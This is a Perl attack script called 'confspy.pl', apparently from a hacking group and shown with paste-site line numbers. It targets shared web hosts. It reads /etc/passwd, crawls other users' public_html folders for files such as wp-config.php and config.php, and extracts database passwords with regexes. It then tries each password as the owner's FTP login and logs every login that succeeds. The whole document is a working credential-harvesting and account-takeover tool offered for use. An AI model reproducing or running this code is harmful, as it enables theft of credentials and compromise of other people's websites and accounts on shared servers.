1. #!/usr/bin/perl
  2.  
  3. # [!] confspy.pl v1.1 for /home/$user/public_html
  4. # [!] Private Script !!!
  5.  
  6. # c0li.m0de.0n Begin !!!
  7.  
  8. # Please check ftp connection before enable it.
  9. # 0=disable, 1=enable
  10. my $ftp_login = 1;
  11. my $datetime = localtime;
  12.  
  13. printf "\n
  14. [o]=================================================[x]
  15.  |            confspy.pl v1.0 by Vrs-hCk             |
  16.  |             ander[at]antisecurity.org             |
  17.  |       www.mainhack.net - www.antisecurity.org     |
  18. [o]=================================================[o]
  19.    Please wait ...
  20. \n";
  21.  
  22. write_log('confspy.log',"[o]=================================================[x]\n".
  23. 						" |            confspy.pl v1.0 by Vrs-hCk             |\n".
  24. 						" |             ander[at]antisecurity.org             |\n".
  25. 						" |       www.mainhack.net - www.antisecurity.org     |\n".
  26. 						"[o]=================================================[o]\n".
  27. 						"   Log Created : $datetime\n\n");
  28.  
  29. open(ETC_PASSWD, '/etc/passwd') or die("[!] Cannot open or read /etc/passwd !!\n");
  30. @etc_passwd=<ETC_PASSWD>;
  31. close(ETC_PASSWD);
  32.  
  33. my $total_pubdir = 0;
  34. my $total_readable = 0;
  35.  
  36. while ($user_list = <@etc_passwd>) {
  37. 	my $pos = index($user_list,':');
  38. 	my $username = substr($user_list,0,$pos);
  39. 	my $public_path = '/home/'.$username.'/public_html';
  40. 	if (-d $public_path) {
  41. 		$total_pubdir++;
  42. 		if (-r $public_path) {
  43. 			$total_readable++;
  44. 			push(@users, $username);
  45. 		}
  46. 	}
  47. }
  48.  
  49. print "[+] Total users public_html    : $total_pubdir\n";
  50. print "[+] Total readable public_html : $total_readable\n\n";
  51. print "[!] Searching for config files ...\n\n";
  52. write_log('confspy.log',"[+] Total users public_html    : $total_pubdir\n".
  53. 						"[+] Total readable public_html : $total_readable\n\n".
  54. 						"[!] Searching for config files ...\n\n");
  55.  
  56. foreach $userid (@users) {
  57. 	my $userpath = '/home/'.$userid.'/public_html';
  58. 	&scan_config($userpath,$userid);
  59. }
  60.  
  61. print "\n[!] Finish.\n\n";
  62. write_log('confspy.log',"\n[+] Finish.\n\n");
  63.  
  64. sub scan_config {
  65. 	my $path = $_[0];
  66. 	my $user = $_[1];
  67. 	my @dir;
  68. 	opendir(DIR,$path);
  69. 	@dir = readdir(DIR);
  70. 	closedir DIR;
  71. 	foreach $file (@dir) {
  72. 		my $fullpath = $path."/".$file;
  73. 		if (-r $fullpath) {
  74. 			if (-d $fullpath) {
  75. 				if (($file ne ".") and ($file ne "..")) {
  76. 					my $newdir = "$path/$file";
  77. 					scan_config($newdir,$user);
  78. 				}
  79. 			}
  80. 			else {
  81. 				if (($file eq "conf.php")
  82. 				or ($file eq "config.php")
  83. 				or ($file eq "config.inc.php")
  84. 				or ($file eq "configuration.php")
  85. 				or ($file eq "configure.php")
  86. 				or ($file eq "conn.php")
  87. 				or ($file eq "connect.php")
  88. 				or ($file eq "connection.php")
  89. 				or ($file eq "connect.inc.php")
  90. 				or ($file eq "database.php")
  91. 				or ($file eq "dbconf.php")
  92. 				or ($file eq "dbconnect.php")
  93. 				or ($file eq "dbconnect.inc.php")
  94. 				or ($file eq "db_connection.inc.php")
  95. 				or ($file eq "db.inc.php")
  96. 				or ($file eq "db.php")
  97. 				or ($file eq "dbase.php")
  98. 				or ($file eq "setting.php")
  99. 				or ($file eq "settings.php")
  100. 				or ($file eq "setup.php")
  101. 				or ($file eq "index.php")
  102. 				or ($file eq "e107_config.php")
  103. 				or ($file eq "wp-config.php"))
  104. 				{
  105. 					my $passwd = get_pass($fullpath);
  106. 					if ($passwd != 1) {
  107. 						if ($ftp_login) { &ftp_connect($user,$passwd); }
  108. 					}
  109. 				}
  110. 			}
  111. 		}
  112. 	}
  113. }
  114.  
  115. sub get_pass {
  116. 	my $filepath = $_[0];
  117. 	open(CONFIG, $filepath);
  118. 	while (<CONFIG>) {
  119. 		my($line) = $_;
  120. 		chomp($line);
  121. 		if (($line =~ m/pass(.*?)=(.*?)'(.+?)';/i)
  122. 		or ($line =~ m/pass(.*?)=(.*?)"(.+?)";/i)
  123.  
  124. 		or ($line =~ m/pass(.*?),(.*?)'(.+?)'\);/i)
  125. 		or ($line =~ m/pass(.*?),(.*?)"(.+?)"\);/i)
  126.  
  127. 		or ($line =~ m/pwd(.*?)=(.*?)'(.+?)';/i)
  128. 		or ($line =~ m/pwd(.*?)=(.*?)"(.+?)";/i))
  129. 		{
  130. 			my $pass = $3;
  131. 			if (($pass !~ / / ) and ($pass !~ /"/ ) and ($pass !~ /'/ )
  132. 			and ($pass !~ /_/ ) and ($pass !~ /\.\+\?/ )) {
  133. 				&write_log('confspy.log',"[+] $filepath\n[\@] $pass\n");
  134. 				return $pass;
  135. 			}
  136. 		}
  137. 	}
  138. 	close(CONFIG);
  139. }
  140.  
  141. sub ftp_connect {
  142. 	my $usr = $_[0];
  143. 	my $pwd = $_[1];
  144. 	my $success = 1;
  145. 	use Net::FTP;
  146. 	my $ftp = Net::FTP->new("127.0.0.1", Debug => 0, Timeout => 2);
  147. 	$success = 0 if $ftp->login($usr,$pwd);
  148. 	$ftp->quit;
  149. 	if ($success == 0) {
  150. 		print "[FTP] $usr:$pwd -> success !!!\n";
  151. 		&write_log('confspy.log',"[FTP] $usr:$pwd -> success !!!\n");
  152. 	}
  153. }
  154.  
  155. sub write_log {
  156. 	my $log = $_[0];
  157. 	my $data = $_[1];
  158. 	open(LOG,">>$log") or die("[!] Cannot create or open log file.\n");
  159. 	print LOG "$data";
  160. 	close(LOG);
  161. }
  162.  
  163. # c0li.m0de.0n End !!!